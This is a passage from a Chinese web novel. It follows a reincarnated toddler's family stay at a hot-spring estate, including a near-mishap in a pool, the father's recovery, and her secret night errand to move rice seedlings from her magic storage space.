“夫人,都备着呢!”青衣连忙回话,声音里带着笑,“早就备在温泉那处棚子了。吃的、喝的、披的啥都有,就等主子们。荠菜馄饨的馅也是今儿早上现剁的,庄头媳妇调的味,说是搁了一丁点虾米提鲜——”
“那你们先去吧!”柳氏摆摆手,又看向立在车边的两个男孩,“瑾儿和阿执也先过去,帮着看顾着妹妹,别让她往深池子去,别呛了水。”
孟怀瑾点头称是,阿执没有言语,却已经抬脚跟了上去。他的步子不大,却快,袍角带起一阵风。
一得了娘亲的话,一群孩子如同剪断了线的风筝,呼啦啦散开了些,又不曾真正散开——都附在几个小主子的周围,像花瓣围着花蕊。
阿沅在最前头,后头跟着绿果红豆,再后头是怀瑾和阿执,最后才是莲花红袖和周婆子,浩浩荡荡往不远处的山脚处走。
阿沅走得急,头上的小揪揪一颤一颤,系着的那根杏色发带飘起来,像只扑棱的蝴蝶。
整个庄子两面靠山,山往下是个缓坡,坡上生着些不知名的杂树,叶子比别处绿得早。斜坡下来就是庄子大门的右边一大片的农田,田垄整整齐齐,像是用尺子比着画的。
顺山而下的一条溪水,虽然弯弯曲曲,也是同样的走向,水声细细碎碎的,在暮色里听不真切。但是到了农田集中的位置,溪水汇集成一个应该有五六亩地的蓄水湖,湖面泛着细细的涟漪,像是撒了一把碎银子。
第117章 谁告诉我水浅的?
“有热泉就是不一样啊,你看整个庄子的树叶子都张开了,沿溪两边这些绿油油的是野菜吧?”红袖指着溪边,声音拔高了些,带着几分惊喜。她跟莲花在后头走得微喘,脸颊泛着浅浅的红。
“可不就是!”莲花凑近了些,蹲下去拨开一丛叶子,“你们看荠菜、灰灰菜都这么长了,这荠菜叶子肥嘟嘟的,掐一下都能出水,看着好嫩。灰灰菜也是,才冒出头,尖上还带着紫。”
她说着,已经忍不住掐了一片叶子在手心里揉搓,凑到鼻尖闻了闻,“待会我们采点野菜回去包饺子吧,天天吃白菜萝卜肉馅的饺子包子,再好吃也腻味了,今晚可以吃点新鲜的。”
红袖兴致勃勃,眼睛都亮起来,甚至已经有人拔腿往那边跑,惊起几只小虫。莲花在后头喊:“你慢些,当心踩泥里!”
“你们就是闲的。”青衣回过头来,抿着嘴笑,眼角细细的纹路弯起来。
“今晚的吃食就有荠菜馅的馄饨,还有凉拌野菜,鲜嫩的竹笋炒肉也有。庄头早就让人给准备了,听说主子们要来,昨儿个还特意去后山挖的笋,说是今年头一茬,嫩得能掐出水来。
泡完澡回来就能开饭,饿不着你们。”
听到青衣开了腔,周婆子也笑,露出几颗不太齐整的牙:“就是灰灰菜做的煎饼,棚子里也是有的,还是热乎的呢!我刚才就吃了一块,那个香啊,荞麦面和的,搁了点葱末,边上煎得焦黄。”
她压低声音,紧走几步凑近阿沅,“小姐,快去。先吃两块再入水,别饿着了,车上那点子点心哪顶事?”
又有人笑着说:“等你们到了才采野菜,这顿饭是不用吃了。”几个丫鬟笑作一团,惊起溪边一只歇脚的白鹭,扑棱棱飞远了。
“绿果姐姐,快,我要吃煎饼。”阿沅一听说有好吃的,脚步不停,双手都已经举了起来,掌心向上,指头张开,做好了飞的动作。她微微踮起脚,身子往前倾,整个人像一张拉满了的小弓。
很快就被绿果和红豆架了起来,两边的胳膊被人稳稳托住,阿沅脚底腾空,却一点都不怕,反而咯咯笑起来,小腿在空中蹬了蹬,像只翻过身来的小龟。
热流庄子不大,也就七八十亩地,三级温泉的最下面一级距离山脚还有点远,但阿沅被人架着走,只觉得两边的树都往后倒,风呼呼地从耳边过,凉丝丝的,混着越来越近的水汽。
没一会就到了。
池子比阿沅想的要大,水面氤氲着白蒙蒙的雾气,像蒙了一层轻纱。水汽扑在脸上,湿漉漉的,还带着一股淡淡的硫磺味。
池边的青石板被水汽浸润得发黑,踩上去微微打滑。
“第一级的水温太热,都快滚了,人都下不去,鸡蛋放进去一盏茶的工夫就熟透。”
青衣跟得气喘吁吁,胸口起伏着,一手按着鬓角被风吹乱的碎发,看到最前面的她们三个已经站在池边,但是没有下水,总算放了心。
但仍耐心地交代着,声音里带着喘,“第二级的水温也不低,还水深,都快齐大人胸口了,小姐也别上去。”
说完就把阿沅往棚子那边带,棚子搭在池边不远处,四角支着竹竿,顶上苫着厚厚的草帘,能挡风。里头摆了几张矮几,铺着素净的蓝布,上头错落放着茶壶茶碗,几只白瓷碟子里码着切成三角形的煎饼,边上还有一小碟酱菜。
“小姐,先吃点儿饮子和煎饼,然后再换衣服。”青衣把阿沅放到矮几前,蹲下身与她平视,“夫人说了,小孩子只能在第三级玩,想泡多久就泡多久。
第三级水温最合适,也不深,大人下去刚
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过腰,小姐下去嘛……”她顿了顿,伸手比划了一下,“大概到这里,不怕的。”
“谢谢青衣姑姑,青衣姑姑这个好吃,您也来一块!”
阿沅只喝了几口茶,茶水是温的,入口有淡淡的桂花香。她又吃了一个切成三角形的饼子,饼子还是热乎的,外头煎得焦脆,里头软和,灰灰菜的清香混着荞麦面的醇厚,边上还抹了一层薄薄的酱。
她吃得两腮鼓鼓,像只藏食的仓鼠,吃完手上再抓一块,然后头也不回就往青石板的台阶下走。
台阶是青石铺的,被水汽和岁月磨得温润,边缘生了薄薄一层青苔,踩上去要小心。再往下几级就是第三级热泉,也是温度最低,最浅,池子最大的热泉。
莲花和红袖嘴里也塞了一块煎饼,腮帮子鼓着,正感叹真的好吃。看到阿沅往池边去,连忙咽下要跟上。
红袖险些噎着,拍着胸口,脚步却不敢慢。
但是还是没有阿执的步子快,他本来一直立在棚子边上,只喝水,不吃其他。目光落在池面,不知在想什么。
阿沅一动,他已经迈开腿,三两步就护在了阿沅身旁,手臂微微张开,像一只护雏的老雁。
绿果连忙跟在了后面,手里还攥着阿沅换下的外裳,急急说了句:“小姐,还没换衣服呢?”
阿沅三两口把手上的煎饼吃完,饼渣沾在嘴角也顾不上擦。她的眼睛却盯着前面的池子环顾了一圈,池水澄澄的,清澈得不像话,能看见底下的青石和几尾细小的游鱼。
水汽升腾起来,把她的刘海濡湿了几缕,软塌塌贴在额头上。
就在大家以为她只是靠近玩玩水的时候,她却迅速把用过的帕子往台阶上一扔,小短腿却毫不犹豫滑下最后一级台阶。
然后她整个人就往下一沉。
第118章 这个哥哥会笑
“诶呀!”阿沅发出一声惊呼,声音里带着意外,更多是委屈。她明明看着水挺浅的,清清亮亮一眼能望到底,怎么脚就够不着了呢?
她暗道估算错误,既错估了自己的身高,也被太过纯净的水蒙蔽双眼,其实水还挺深的。
谁说水浅来着?
温泉水没过她的胸口,又没过她的下巴,凉丝丝又暖融融的触感一齐涌上来。她的脚在空中胡乱蹬了几下,什么也踩不着。
水灌进她来不及闭紧的嘴里,一股淡淡的咸味混着硫磺味。就在以为自己要呛几口水,已经认命地闭上双眼等待救援的阿沅,长长的睫毛紧紧阖着,小脸皱成一团,本以为还要等上一阵,却觉得身子一轻。
阿执只比她慢了半拍。
他在阿沅滑下台阶的刹那已经伸手,指尖堪堪擦过她的衣带,什么也没抓住。下一瞬他也跌入了水,水花溅起来,打湿了他的鬓发。
然后他站直身子,从后面一把把她抱住,手臂环过她的腋下,稳稳托住,像托一件易碎的瓷器。
他的掌心贴着阿沅的后背,隔着薄薄的春衫,能感觉到她小小的心跳,扑通扑通的,像一只受惊的雀。
“小姐!”绿果吓得差点飞身入水,裙摆都撩起来了,却见阿执已经把人抱住,这才站定在台阶边,胸口剧烈起伏着,声音都变了调子,带着后怕和颤意,“别吓奴婢。”
她扶着心口,脸色都白了白,额上沁出细密的汗。刚到庄子,就出岔子,就是他们不作为了。
阿沅这会完全没注意抱着她的是谁。她只觉得背后有一道稳稳的力量,把她托出水面。
她睁开眼睛,睫毛上挂着水珠,眨了眨,世界变得亮晶晶的。她知道自己安全了,高兴得直踩水,两只小脚在水里扑腾,溅起一朵朵白色的水花,把自己和身边的人都溅了满身满脸的水。
水珠顺着阿执的下颌往下滴,他没躲,只是低头看她,眼里全是纵容,也不管没换来小家伙一声谢谢。
“你们快点下来,真好玩呀。”阿沅扭过头,冲着岸上喊,声音亮晶晶的,像沾了蜜,“好热好暖,池子里还有小鱼!”她伸出一根短短的手指,指向水中。
果然有几尾细细的小鱼,黑脊背,在水里灵活地穿梭,时而凑近她的脚边,啄一下又飞快游开。
阿沅痒得缩了缩脚趾,咯咯笑起来,笑声清清脆脆的,在池面上跳着跑远了。
被阿沅的笑声和欢乐感染,阿执也呵呵宠溺地笑。他平日总是淡淡的,眉目像覆了一层薄霜,此刻那层霜却融了,露出底下温润的光。
他笑起来的时候眉眼弯弯的,嘴角边有一个浅浅的梨涡,平时藏得严严实实,这一笑才露出来。
莲花和红袖都看傻了眼,面面相觑,原来这个哥哥会笑呀!还笑得那么好看,像是冬日里忽然开了一树梅花。
难怪大爷会把他留下,就是当花瓶摆着也舒服。
等到红袖和绿果七手八脚把一身短打换上阿沅的身——短打是桃红色细棉布的,裁得合身,袖子和裤管都只是半截,刚好露出小姐白白嫩嫩的四肢。
阿沅终于静下来,不再折腾。她乖乖坐在一处水里的石头上,石头被**得圆润光滑,坐在上面稳稳当当。她只露出脖子和小脑袋,小脸被热气蒸得红扑扑的,像刚出锅的粉团子。
她看着刚下水的怀瑾哥哥,呵呵笑。
孟怀瑾斯文又不紧不慢,方才去换衣裳,此时换了一身月白短褐,慢慢涉水过来,水波在他腰间轻轻荡开。他在阿沅另一边身侧坐下,水只是没到他的腰。
“阿沅又淘气了?”孟怀瑾递给她一个开边的葫芦瓢。那葫芦瓢是新做的,边沿打磨得光滑,柄上刻了一尾小小的鱼。
他伸手,轻轻揪了一下阿沅鬓边湿漉漉的碎发,没用力,更像拂了拂。然后他也坐到了她的另一侧,把瓢递到她手里。
阿沅接过瓢,也不玩,就抱在怀里,像抱一只心爱的布偶。她玩了半天,这时才后知后觉去想起爹爹和娘亲。她扭过头,往岸上张望,小脸上带着几分迷茫:“娘亲和爹爹呢?”
马上被哥哥轻揪了一下头发,这回揪得比方才重一点点。孟怀瑾板着脸,眼里却有笑:“没心没肺。”但看她东张西望,脖子都抻长了,怕她闹着要找人,才说:“他们不急,娘说是待会吃了晚饭,再陪爹爹泡。”
他顿了顿,“爹爹今天坐车乏了,娘亲让他先歇一歇。”
“青衣姑姑、秀姑姑,你们也下来呀!”阿沅又扭头朝岸上喊,声音又脆又亮,带着三分撒娇七分邀请,“还有绿果红豆姐姐,好玩着呢,快点下来。”
岸上几人只是笑。青衣摆摆手,声音隔着水雾传过来,温柔又坚定:“我们不急,小姐、公子们先泡。奴婢们在这看着就很好。”她立在池边,手里捧着叠得整整齐齐的干布巾,目光一直落在池中几个孩子身上。
阿沅轮个招呼,喊了这个喊那个,可是上面的人都是光
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笑着推脱,就是不更衣也不下来。红豆假装没听见,低头去摆弄矮几上的茶碗。
嗨!阿沅在心里叹了口气,古代人真是麻烦,应该都害羞,大概都想等着没人的时候才来玩一下。就是爹爹和娘亲,大抵也是想避着人,才非要等天黑了再来泡。
她抱着葫芦瓢,把下巴搁在瓢沿上,小小的脸被热气熏得红扑扑,眼睛半眯着,像一只餍足的小猫。
“还是把温泉再分流,建成一个个小池子,上面在围小木屋,更泡得自在。”阿执忽然开腔。他靠在池边,双臂搭在岸石上,水汽氤氲中看不清神情。他的声音不高,却很清晰,像石子投入静水。
他顿了一下,眼神转向了师兄孟怀瑾。
“倒也是。”孟怀瑾点点头,若有所思,“若是有单独的小池子,先生和爹爹娘亲分开泡也自在些。先生不喜与人共浴,爹爹应该也是……”他顿了顿,没有往下说,转而看向阿沅。
阿沅正低头拿瓢舀水玩,水从瓢边漏下去,淅淅沥沥的。他虽然觉得妹妹还小,未必懂这些,但还是忍不住说:“改天还是让人休整一下,以后妹妹也可以单独一间。等妹妹再大几岁,总不能还跟着哥哥们一起泡。”
“嗯嗯!”阿沅闻言抬起头,眼睛亮起来,“阿沅有银子,阿沅跟爹爹说,马上叫人来改。”她说这话的时候忽然顿了一下,手里的瓢停在半空,水珠一串串落回池中。
然后她扭头看向阿执,目光在他脸上停了一瞬,看他眼神并没有什么异样,依然淡淡的,像蒙着水汽的池面。她这才放了心,低头继续舀水玩。
想想又没觉得自己杞人忧天。他们好歹是侯府大房,可能在别人看来不比从前,可修缮用点银子还是有的。爹爹再俭省,也不至于舍不得给女儿修个泡澡的小池子。
阿沅把瓢里满满的水哗地倒出去,又舀一瓢,如此往复,玩得不亦乐乎。
池子里的小鱼又凑过来,在她脚边打转。阿沅屏住呼吸,慢慢伸出手,想去碰一碰那尾最细小的。小鱼机灵地一摆尾,从她指缝间溜走了。阿沅也不恼,咯咯笑起来,笑声在暮色里传出很远。
池边的周婆子低声道:“瞧把小姐乐的,这一天的车马,总算是值了。”
青衣点点头,没有接话。她的目光越过池中嬉戏的几个孩子,落在远处暮色沉沉的庄舍上。庄子里炊烟已经升起来了,细细的,直的,在晚风里轻轻摇曳。
差不多该开饭了。
第119章 两夫妻的异样
欢乐的时光总是轻轻飘过便无影无踪,不知不觉间,热流庄三天,就在他们早晚泡温泉,田间玩闹间,这么水灵灵地溜走了。
阿沅有时候会想,要是能把每一天都掰成八瓣来过就好了,可时间这玩意儿,你越是想要它慢些,它就越像泥鳅似的滑不溜手。
第四天的清晨,阳光透过窗棂洒下一地碎金。阿沅揉着惺忪的睡眼从里屋出来,发现堂屋里只有爹爹和娘亲在。她歪着小脑袋想了想,大概所有人又去泡温泉了。
小丫头蹬蹬蹬迈着两条小短腿扑过去,轻车熟路地往爹爹怀里一钻,找了个最舒服的姿势窝着。
也许是玩得高兴,庄子里的空气也好,吃得好睡得好,衬得那张小脸蛋愈发粉雕玉琢,像个刚出笼的糯米团子。
她窝在爹爹温暖的怀里,小手有一下没一下地摸着爹爹下巴上冒出的青茬,忽然想起什么似的,扬起小脸,乌溜溜的大眼睛里盛满了认真,奶声奶气地问:“爹爹,你的腿还疼吗?”
说话时,她肉乎乎的小手轻轻覆在爹爹的膝盖上,似乎在做最后的确认。空间里的药已经用了那么久,应该差不多了才对。
正舀了一碗粥,准备过来喂女儿的柳氏闻言停下了手中的动作,抬眸看向夫君和女儿。她今日穿着一件月白色的襦裙,乌黑的青丝松松挽了个髻,只插了根素银簪子,却自有一股说不出的风韵。
晨光给她侧脸的轮廓镀上了一层柔和的光晕,她看着那依偎在一起的一大一小,眼里的温柔几乎要溢出来。
“早就不疼了,没看到爹爹自己都能走这么远了么?”孟大川捏着女儿软乎乎的小手,把那小小的指窝一个个按过去,像是在把玩什么珍宝。
他又抬眼看向对面的妻子,见她正望着自己,便咧嘴一笑,那笑容里带着三分满足,三分得意,还有四分的柔情蜜意。
这两日他已经能丢开轮椅,自己慢慢走上十来步了。虽然步子迈得还有些颤巍巍,但于他而言,这已经是想都不敢想的神迹。
他心里清楚,这一切都是怀里这个小丫头带来的。
柳氏此刻脸上的笑意更浓了,那笑容从唇角一直漾到眼底。
她现在脸色红润白皙,透着健康的粉色,比起几个月前的苍白清瘦,如今整个人都丰盈了起来,原本的瓜子脸变成了稍微有点肉感的鹅蛋脸,却丝毫不显臃肿,反而多了一分小妇人的妩媚。
如果说刚成亲那会儿她是清水芙蓉,清丽脱俗,那现在便是雨后的牡丹,明艳照人,娇艳欲滴。
许是感觉到夫君的目光过于灼热,柳氏脸上飞起一抹少有的羞涩,微微别过脸去,假装理了理并不凌乱的鬓发,不敢正视他,生怕在女儿面前露出什么破绽。
那躲闪的眼神,微微颤动的睫毛,落在孟大川眼里,更是心痒难耐。
就在昨晚,对于柳氏来说却格外不寻常。本以为这辈子再也无法人道的夫君,竟突然重振了当年的雄风。那久违的亲密,那熟悉的体温,让她仿佛又回到了新婚燕尔的时光。
初时是羞怯,是忐忑,后来便是那如潮水般涌来的熟悉而又陌生的欢愉。她仿佛一叶扁舟,在温柔的波涛中起起伏伏,最后被一个温暖的浪头轻轻托起,送入了云端。
想到这里,她只觉得脸颊发烫,耳根处染上了一抹淡淡的绯红,那绯红悄悄蔓延,像天边的云霞落在了白玉上。
心里更像是被人灌了蜜糖一般,甜丝丝,满当当,快要溢出来了。她垂着眼,嘴角却忍不住微微上扬。
“爹爹,空间里的禾苗已经这么……这么高了。”阿沅哪里注意到爹爹和娘亲视线的纠缠,更不懂萦绕在他们周围那些看不见的粉红泡泡。
她正玩着爹爹垂在耳边的长发,把那黑亮的发丝绕在自己小小的手指上,一圈,两圈,绕好了又松开,松开了再绕,玩得不亦乐乎。
她小嘴不停地念叨着,光惦记着她的那件头等大事——种地。
昨晚她又溜进空间里巡视了一番。那百亩稻田如今可壮观了,绿油油的一片,从脚下一直铺到天边。秧苗长得密密匝匝,你挤着我,我挨着你,都在铆足了劲儿往上蹿。
每株秧苗都精神抖擞,叶片上还挂着亮晶晶的露珠儿,在空间那不知从何而来的柔和光线照射下,像撒了一地的碎银子。
这些秧苗长得太密了,再不移植的话,以空间这快得离谱的生长速度,最多不过十来天,肯定就要开始抽穗了。到时候挤在一起,可长不好稻谷。
她掰着手指头算了算,嗯,得抓紧了。
“爹爹,耳朵呢!耳朵呢?”阿沅说了半天,没听到爹爹回应,一抬头,发现爹爹正盯着娘亲发愣,眼神直勾勾的,嘴角还挂着一丝傻笑。
小丫头顿时不乐意了,小嘴一撅,伸出两根短短的手指头,一把揪住爹爹的耳朵,轻轻往上提了提,像拎小兔子似的。
“哎哟!”孟大川吃痛,这才回过神来,忙不迭地道,“爹爹听着呢!听着呢!”
他伸手护住自己的耳朵,又舍不得把女儿的小手扒拉开,只好歪着脖子解释,“这两天你柒叔已经带人去选好了几个庄子摆秧苗的地,这里的就在外面的围墙根下,那一大片草地,就等着咱们的秧苗了。”
他说得一本正经,试图挽回一点当爹的威严。
“那……今晚阿沅自己去吧。”阿沅看看爹爹,又看看娘亲,小脑袋瓜里飞快地盘算着。她伸出短短的手指头,点点自己的鼻子,最后决定还是自己去完成这项“秘密任务”。
在她看来,这有什
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么难的,就是一念之间的事。就跟在空间里种地一样简单嘛。而且一个人行动,还更方便。
“不用!爹爹和娘亲陪你去。”孟大川罕见地板起了脸,语气不容商量。这事他早就想好了,肯定得避开旁人耳目。
可这大半夜的,让一个三岁的小娃娃自己摸黑跑到黑黢黢的围墙外边去,万一磕着碰着了,万一有个野猫野狗吓着了,他们做爹娘的在家哪里还能睡得着觉?
就是有一百个空间护着,他们也不放心。他下意识地收紧了搂着女儿的手臂。
“不用!女儿……偷偷的。”阿沅感觉到爹爹的紧张,赶紧扬起小脸,眨巴着大眼睛,试图用自己的“可爱攻势”说服爹爹。
她觉得爹爹和娘亲想得太复杂了,柒叔和那几个暗卫叔叔可厉害了,爹娘一有动作,他们肯定要跟出来看看是不是有啥危险。
到时候看到他们半夜三更不睡觉,跑到围墙根底下,那可怎么解释呀?难道说是在种月光吗?
阿沅心里可一点都不怕。她又不是真的三岁小宝宝,上辈子什么样的夜路没走过?再说了,他也算是**过武的,虽然就是扎扎马步施展一下拳脚。
就算真的有什么危险,她意念一动,就能躲进空间里,安全得很。她还挺起小胸脯,试图让自己看起来可靠一些。
“不行,爹爹和娘亲必须跟着。娘亲推着爹爹出去走走,谁也说不出什么。”柳氏也发话了,她走过来,轻轻按了按阿沅的小脑袋,脸上的温柔里带着不容置疑的坚定。
她和夫君昨晚就商量好了,这事决不能再让女儿一个人扛着。他们是爹娘,哪有让这么小的孩子冲锋陷阵,自己躲在后头的道理?
虽然他们帮不上什么大忙,不能亲自下地种田,但就算是给女儿壮壮胆,在旁边放放风,打打掩护也是好的。
她看着女儿那副人小鬼大的模样,心里又是骄傲又是心疼。
“那就早一点,天擦黑的时候。”阿沅看看一脸坚决的爹爹,又看看同样坚定的娘亲,知道自己这小胳膊是拧不过大腿了,只好无奈地妥协。她撅着小嘴,皱着小小的鼻子,像个小大人似的叹了口气,那模样,好有趣。
天擦黑的时候最好,一家人出去散散步消食,显得再正常不过了。只要爹爹嘱咐一声,暗卫叔叔们也不会跟得太近。阿沅转了转眼珠子,又偏过头看了看远处那堵不算太高的围墙,心里默默估算着高度。
那围墙还没有屋顶高呢,屋顶她都能轻轻松松意念一动就上去,翻过这围墙肯定也没问题。
到时候让娘亲推着爹爹在墙根底下等着,然后“嗖”的一下翻过去,就把秧苗移出来。完美!
小丫头想着想着,忍不住抿嘴笑了,露出两个浅浅的小梨涡。
第120章 爹爹和娘亲分你一半
当西边的最后一缕晚霞沉入山脚,像是一盏被风吹熄的灯,天地间骤然暗了不少。柳氏推着轮椅上的孟大川慢慢走出院门,轮子在青石板上发出轻微的辘辘声。
阿沅刚刚屏退了自己的护卫和红袖、莲花两个小跟班,这会儿正像一只撒欢的小狗,蹦蹦跳跳地跟在爹娘身侧,暮色中格外显眼。
然而就在这时,却出了点小小的状况。
阿沅眼尖,一下子就看到杨大儒居然站在大门外。更让她意外的是,这个点儿本应该去热泉池子的孟怀瑾和阿执,此刻却一左一右守在先生两边,三个人凑在一起,似乎在商量着什么。
阿沅眨了眨眼睛,看到先生捋着胡子,哥哥歪着脑袋认真听,阿执则微微垂着眼,不知道在想什么。
她刚想拉着爹娘绕道走,却已经来不及了——先生眼角的余光一扫,分明看见了他们拐弯的动作。
看到此景,孟大川夫妇也不好硬着头皮往回退。进退两难之际,杨大儒先开了口,声音清朗:“孟大人,这是要出去?”
孟大川心里暗暗叫苦,脸上却挤出笑意,硬着头皮答道:“闷得慌,去那边走走,出点汗再去泡热泉。”他说话时,目光不自觉地往那堵围墙的方向飘了一下,又赶紧收回来。
柳氏推着轮椅的手顿了顿,指尖微微收紧。她不动声色地扯了扯孟大川后面的衣角,似有提醒之意。
阿沅的小脑瓜则飞快地转了起来:这下可糟了,有先生跟着,他们原本的计划怕是不能了。看来只能半夜里自己再偷偷溜出来,做一只偷跑的小猫。
大不了自己小短腿多跑一段路,或是在空间多移动几次,她小脸上的紧张慢慢褪去,反而隐隐有点兴奋——这次没人跟着,半夜探险,听起来还挺好玩的嘛!
“那就一起吧!”杨大儒笑呵呵地说道,目光越过孟大川,望向远处暮色中的庄子,“看着这庄子的景色,比以往的庄子颜色都更绿,更鲜亮,刚好老夫也想走走。”
说完,他也不等孟大川回应,居然先迈开了步。三人心里都咯噔一下——先生走的方向,恰恰就是他们想要去的那处围墙!
“这……”孟大川的手不自觉地抬了起来,像是想说什么,又像是想拦住什么,但他的手刚抬到一半,却被一只软软的小手按了下去。
那只小手温温热热的,带着三岁孩子特有的软糯。孟大川低头一看,阿沅正仰着脸冲他眨眨眼睛,那小眼神里分明写着:爹爹别慌,有我在呢!
阿沅表现在人前的,似乎是完全没意识到有什么不同寻常的状况,甚至蹦蹦跳跳地跟上了阿执的步伐,走在了爹爹和娘亲的前面。
她迈着小短腿,努力跟上大人的步子,小屁股一扭一扭的,她恰好走在身侧跟先生攀谈的孟怀瑾后面,距离刚刚好,既不会打扰他们说话,又能随时观察前面的动静。
默默想着心事的阿执只感觉自己的心忽然一暖。
他低头一看,原是一只柔软又温暖的小手,不知什么时候悄悄地塞进了他的掌心。那只小手小小的,肉肉的,五个指头短短的,却努力地张开,试图握住他的手。阿执不由心头一动,趁势握住,把那小手整个包在了自己掌心里。
他握得不紧不松,刚刚好能让那只小手感受到他掌心的温度。
“阿执哥哥别难过。”阿沅扬起小脸,乌溜溜的眼睛在暮色中亮晶晶的,像是两颗小星星。她另一只手从怀里摸出一块用油纸包着的桂花糕,小心翼翼地打开,“爹爹和娘亲分你一半。”
她把桂花糕递给了阿执,而且直接踮起脚尖,把糕点塞到了他的嘴里。那动作又快又准,显然不是第一次这么干了。
阿执猝不及防被塞了满嘴的桂花糕,桂花香和米糕的甜味在舌尖化开。他看着眼前这个粉雕玉琢的小丫头,看着她那副理所当然的小模样,心里涌起一股暖流。
他嘴里含着桂花糕,含糊地笑了笑,把那只小手握得更紧了一些。
阿沅任由他握着,心里却在偷偷观察这个漂亮的男孩子。
她一直摸不透阿执是怎么回事。
若说他真的遗忘了家里的事,可是哥哥又总说他很聪明,读书认字几乎是过目不忘,先生讲过的文章,他听一遍就能背下来。而且他知道的事情很多,可以和先生谈古论今,大他三四岁的孟怀瑾都常常自愧不如,经常要向他讨教。
阿执总是对她很好。每回看见她的时候,他眼里总是含着笑意,又会刻意靠近,甚至抱上一抱,那欢喜一点儿都不藏着掖着,明明白白地写在脸上,写在眼睛里。
但阿沅有好多次刻意去“偷窥”——她假装去找他玩接龙牌,却悄悄地观察他——都见他在没人的时候眼底有泪光闪烁。
有几次,她还看见他呆呆地坐在窗边,眼睛望着京城的方向,一动不动的,不喜不悲,像一尊小小的雕像。
最主要的是,他的笑容太熟悉了。
那笑容的弧度,丹凤眼那眼角的纹路,那微微上扬的嘴角,熟悉到让阿沅确信,自己以前一定是见过他的,而且还很熟悉。
可任她怎么绞尽脑汁,在这具不到四岁的小身躯里,在这颗小小的脑瓜子里,却怎么也理不出一点头绪来。
那些记忆像是隔着一层雾,模模糊糊的,抓也抓不住。
她问过爹爹,爹爹摇摇头说第一次见,而且目光怪异,似有隐瞒。问过娘亲,娘亲也说不认识。
问过哥哥,哥哥挠挠头说,阿执就是阿执啊,不过肯定不是乞丐,不然也不会是先生的学生。
阿沅头疼了:难道是自己前世的记忆?还是原主的记忆没有完全转移到她的脑海里?
她试图从幼儿园的玩伴开始回忆,再想想小时候的街坊邻居,甚至远房的亲戚朋友家里,翻来覆去想了八百遍,却全无这个男孩子的印象。
那张漂亮的脸,那双含着笑又藏着泪的眼睛,仿佛是从
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天而降的,没有来处,只有眼前。
她越想越头疼,小小的眉头皱成一团,干脆不想了。
她只想着对他好一些。他比哥哥安静,比哥哥心事重,比哥哥更需要人疼。
她甚至想把爹娘都分他一份——在她看来,爹娘的爱是源源不断的,多一个人分也没什么要紧,反而会更热闹。
比起她现代接近三十岁的年纪,眼前这个不到十来的阿执,似乎更需要家庭的温暖。她一个活了两辈子的人,跟他计较什么呢?
阿执今日穿着崭新的绸缎衣服,那料子光滑细腻,比孟怀瑾身上那件布衣不知好了多少。
他蹲下身,轻轻抱起阿沅,让她坐在自己臂弯里。他低头看着怀里这个软乎乎的小人儿,声音低沉却认真:“谢谢阿沅,孟大人和姨母的慈爱之心,阿执哥哥终身不忘。”
若有来日,定当如何如何的话,他不做提前预设。说那些虚的有什么用呢?他只在心里默默地记着,一笔一画,刻得深深的。
柳氏说的那句“权当多生了个孩子”的话,早就从杨先生嘴里传进了他的耳朵。比起……他心里闪过一个模糊的影子,又迅速压了下去。
比起那里,谁对他更好,哪里更温暖,他自然心知肚明。只希望有来日相报的机会,只希望这温暖能长久一些,再长久一些。
一行人沿着庄子大门里侧往右边走,踏上了一条绕庄子的小路。这条路离围墙不远,有一小段甚至紧贴着围墙根儿。
路面上铺着细碎的石子,两旁是刚刚返青的野草,空气中飘着泥土和青草混合的清新味道。
两人牵手走了一段,阿执又抱着阿沅走了一会儿,忽然感觉到怀中小人儿的挣扎。他低头看向她,眼神里带着询问。
阿沅指了指前面不远的杨先生和哥哥,小声道:“阿执哥哥去,天黑了,别摔着了先生。”她虽然小,却知道先生年纪大了,走路需要人扶着。
哥哥一个人扶不住,万一摔了可不得了。
天空中的最后那点亮光几乎消失殆尽,天色彻底暗了下来。暮色四合,远处的树影变得模糊,只剩下轮廓。
她又转头伸手指了指后面已经距离稍远的两道身影——轮椅上的爹爹,和推着轮椅的娘亲。他们正慢慢地走着,轮子碾过石子路,发出轻轻的声响。
“阿沅陪爹爹和娘亲去。”阿沅拍拍阿执的肩膀,示意他放自己下来。
不待阿执送她,她已经从他怀里滑下来,稳稳地落在地上。然后头也不回,蹦蹦跳跳地往回走了。
暮色中,那团小身影越来越远,在阿执看来却越来越清晰,像一盏小小的灯,照亮了渐浓的夜色。
阿执站在原地,看着她一路小跑,直到看见三个人的身影重叠在一起——那个小小的身影终于回到了爹娘身边,他才放下心来。
他快走几步,跟上了先生和师兄的步伐,只是手里,似乎还残留着那只小手的温度。
第121章 阿沅哪去了?
天彻底暗下来很快。
夕阳的最后一丝余晖被西边山头吞没之后,夜色便如同泼墨一般迅速洇染开来。
先是远处的山峦模糊成了黛青色的剪影,接着近处的树木也失掉了白天的分明轮廓,最后连脚下的路都变得朦朦胧胧,只能借着微弱的星辉辨认大概的走向。
暮色四合,四下里安静得只剩下初夏的虫鸣,一声长一声短地应和着,反倒衬得这荒野更加空旷寂寥。
孟大川和柳氏是第一次经亲眼所见女儿在自己眼前消失,虽是提前预知,却还是有点忐忑。
他们眼睁睁看着阿沅就站在几步之外,小小的身影裹在薄薄的暮色里,仰着脑袋冲他们甜甜一笑,露出一口小米牙,奶声奶气地说“爹爹娘亲等我一会儿,阿沅去去就回呀”,话音刚落,整个人便凭空消失了。
没有声响,没有风,就那么一下子,刚才还站着人的地方只剩下一丛被夜风吹动微微摇曳的野草。
柳氏下意识攥紧了丈夫的袖口,指尖微微发凉,虽说是早就知道女儿有这般奇遇,可真正亲眼目睹一个大活人眨眼之间无影无踪,心里还是狠狠揪了一下。
孟大川轻轻拍了拍她的手背,两人都没有说话,只是齐齐抬眼望去。
眼看着女儿小小的身影消失后,又很快如同一只小猫一般蹲着出现在高高的围墙上。
那堵围墙离他们不过三四丈远,夯土的墙体在夜色里泛着灰白的光。
先是墙头上凭空多出来一个黑乎乎的小团子,刚刚她在墙头上还回头望了一眼,隔得远看不清神情,但能看见她的小脑袋微微歪了歪,像是在确认爹娘还在不在。
下一瞬,那团小小的黑影就倏地不见了,墙那边的黑暗把她整个儿吞了进去,连个影子都没留下。
他们没有继续往前走,而是静静地守护在那里,一直盯着女儿消失的围墙方向,期待她的再一次出现。
夜风从田野那边吹过来,带着新翻泥土的气息和青草的腥味儿。柳氏抬手把鬓边被风吹乱的碎发掖到耳后,眼睛却始终没有离开那堵墙。孟大川坐在轮椅上,身子微微前倾,双手交叠搭在拐杖头上,也是一动不动地望着同一个方向。
两人一前一后。
